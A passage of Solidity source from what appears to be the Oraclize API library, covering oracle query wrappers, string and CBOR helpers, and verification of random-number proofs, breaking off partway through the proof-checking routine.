function encodeString(Buffer.buffer memory buf, string value) internal pure {
encodeType(buf, MAJOR_TYPE_STRING, bytes(value).length);
buf.append(bytes(value));
}
function startArray(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_ARRAY);
}
function startMap(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_MAP);
}
function endSequence(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_CONTENT_FREE);
}
}
contract usingOraclize {
uint constant day = 60*60*24;
uint constant week = 60*60*24*7;
uint constant month = 60*60*24*30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofType_Ledger = 0x30;
byte constant proofType_Android = 0x40;
byte constant proofType_Native = 0xF0;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
if((address(OAR)==0)||(getCodeSize(address(OAR))==0))
oraclize_setNetwork(networkID_auto);
if(address(oraclize) != OAR.getAddress())
oraclize = OraclizeI(OAR.getAddress());
_;
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
_;
}
function oraclize_setNetwork(uint8 networkID) internal returns(bool){
return oraclize_setNetwork();
networkID;
}
function oraclize_setNetwork() internal returns(bool){
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
oraclize_setNetworkName("eth_mainnet");
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){
OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
oraclize_setNetworkName("eth_ropsten3");
return true;
}
if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){
OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e);
oraclize_setNetworkName("eth_kovan");
return true;
}
if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){
OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48);
oraclize_setNetworkName("eth_rinkeby");
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){
OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){
OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
function __callback(bytes32 myid, string result) public {
__callback(myid, result, new bytes(0));
}
function __callback(bytes32 myid, string result, bytes proof) public {
return;
myid; result; proof;
}
function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource);
}
function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource, gaslimit);
}
function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(0, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(0, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal {
return oraclize.setCustomGasPrice(gasPrice);
}
function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){
return oraclize.randomDS_getSessionPubKeyHash();
}
function getCodeSize(address _addr) constant internal returns(uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
function parseAddr(string _a) internal pure returns (address){
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i=2; i<2+2*20; i+=2){
iaddr *= 256;
b1 = uint160(tmp[i]);
b2 = uint160(tmp[i+1]);
if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;
else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55;
else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;
if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;
else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55;
else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;
iaddr += (b1*16+b2);
}
return address(iaddr);
}
function strCompare(string _a, string _b) internal pure returns (int) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function indexOf(string _haystack, string _needle) internal pure returns (int) {
bytes memory h = bytes(_haystack);
bytes memory n = bytes(_needle);
if(h.length < 1 || n.length < 1 || (n.length > h.length))
return -1;
else if(h.length > (2**128 -1))
return -1;
else
{
uint subindex = 0;
for (uint i = 0; i < h.length; i ++)
{
if (h[i] == n[0])
{
subindex = 1;
while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex])
{
subindex++;
}
if(subindex == n.length)
return int(i);
}
}
return -1;
}
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal pure returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal pure returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal pure returns (string) {
return strConcat(_a, _b, "", "", "");
}
function parseInt(string _a) internal pure returns (uint) {
return parseInt(_a, 0);
}
function parseInt(string _a, uint _b) internal pure returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function uint2str(uint i) internal pure returns (string){
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
using CBOR for Buffer.buffer;
function stra2cbor(string[] arr) internal pure returns (bytes) {
safeMemoryCleaner();
Buffer.buffer memory buf;
Buffer.init(buf, 1024);
buf.startArray();
for (uint i = 0; i < arr.length; i++) {
buf.encodeString(arr[i]);
}
buf.endSequence();
return buf.buf;
}
function ba2cbor(bytes[] arr) internal pure returns (bytes) {
safeMemoryCleaner();
Buffer.buffer memory buf;
Buffer.init(buf, 1024);
buf.startArray();
for (uint i = 0; i < arr.length; i++) {
buf.encodeBytes(arr[i]);
}
buf.endSequence();
return buf.buf;
}
string oraclize_network_name;
function oraclize_setNetworkName(string _network_name) internal {
oraclize_network_name = _network_name;
}
function oraclize_getNetworkName() internal view returns (string) {
return oraclize_network_name;
}
function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){
require((_nbytes > 0) && (_nbytes <= 32));
_delay *= 10;
bytes memory nbytes = new bytes(1);
nbytes[0] = byte(_nbytes);
bytes memory unonce = new bytes(32);
bytes memory sessionKeyHash = new bytes(32);
bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash();
assembly {
mstore(unonce, 0x20)
mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp)))
mstore(sessionKeyHash, 0x20)
mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32)
}
bytes memory delay = new bytes(32);
assembly {
mstore(add(delay, 0x20), _delay)
}
bytes memory delay_bytes8 = new bytes(8);
copyBytes(delay, 24, 8, delay_bytes8, 0);
bytes[4] memory args = [unonce, nbytes, sessionKeyHash, delay];
bytes32 queryId = oraclize_query("random", args, _customGasLimit);
bytes memory delay_bytes8_left = new bytes(8);
assembly {
let x := mload(add(delay_bytes8, 0x20))
mstore8(add(delay_bytes8_left, 0x27), div(x, 0x100000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x26), div(x, 0x1000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x25), div(x, 0x10000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x24), div(x, 0x100000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x23), div(x, 0x1000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x22), div(x, 0x10000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x21), div(x, 0x100000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x20), div(x, 0x1000000000000000000000000000000000000000000000000))
}
oraclize_randomDS_setCommitment(queryId, keccak256(delay_bytes8_left, args[1], sha256(args[0]), args[2]));
return queryId;
}
function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal {
oraclize_randomDS_args[queryId] = commitment;
}
mapping(bytes32=>bytes32) oraclize_randomDS_args;
mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified;
function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){
bool sigok;
address signer;
bytes32 sigr;
bytes32 sigs;
bytes memory sigr_ = new bytes(32);
uint offset = 4+(uint(dersig[3]) - 0x20);
sigr_ = copyBytes(dersig, offset, 32, sigr_, 0);
bytes memory sigs_ = new bytes(32);
offset += 32 + 2;
sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0);
assembly {
sigr := mload(add(sigr_, 32))
sigs := mload(add(sigs_, 32))
}
(sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs);
if (address(keccak256(pubkey)) == signer) return true;
else {
(sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs);
return (address(keccak256(pubkey)) == signer);
}
}
function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) {
bool sigok;
bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2);
copyBytes(proof, sig2offset, sig2.length, sig2, 0);
bytes memory appkey1_pubkey = new bytes(64);
copyBytes(proof, 3+1, 64, appkey1_pubkey, 0);
bytes memory tosign2 = new bytes(1+65+32);
tosign2[0] = byte(1);
copyBytes(proof, sig2offset-65, 65, tosign2, 1);
bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c";
copyBytes(CODEHASH, 0, 32, tosign2, 1+65);
sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey);
if (sigok == false) return false;
bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4";
bytes memory tosign3 = new bytes(1+65);
tosign3[0] = 0xFE;
copyBytes(proof, 3, 65, tosign3, 1);
bytes memory sig3 = new bytes(uint(proof[3+65+1])+2);
copyBytes(proof, 3+65, sig3.length, sig3, 0);
sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY);
return sigok;
}
modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) {
require((_proof[0] == "L") && (_proof[1] == "P") && (_proof[2] == 1));
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
require(proofVerified);
_;
}
function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) return 2;
return 0;
}
function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal pure returns (bool){
bool match_ = true;
require(prefix.length == n_random_bytes);
for (uint256 i=0; i< n_random_bytes; i++) {
if (content[i] != prefix[i]) match_ = false;
}
return match_;
}
function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){
uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32;
bytes memory keyhash = new bytes(32);
copyBytes(proof, ledgerProofLength, 32, keyhash, 0);
if (!(keccak256(keyhash) == keccak256(sha256(context_name, queryId)))) return false;
bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2);
copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0);
if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false;
bytes memory commitmentSlice1 = new bytes(8+1+32);
copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0);
bytes memory sessionPubkey = new bytes(64);
uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65;
copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0);
bytes32 sessionPubkeyHash = sha256(sessionPubkey);
if (oraclize_randomDS_args[queryId] == keccak256(commitmentSlice1, sessionPubkeyHash)){
delete oraclize_randomDS_args[queryId];
} else return false;
bytes memory tosign1 = new bytes(32+8+1+32);
copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0);
if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false;
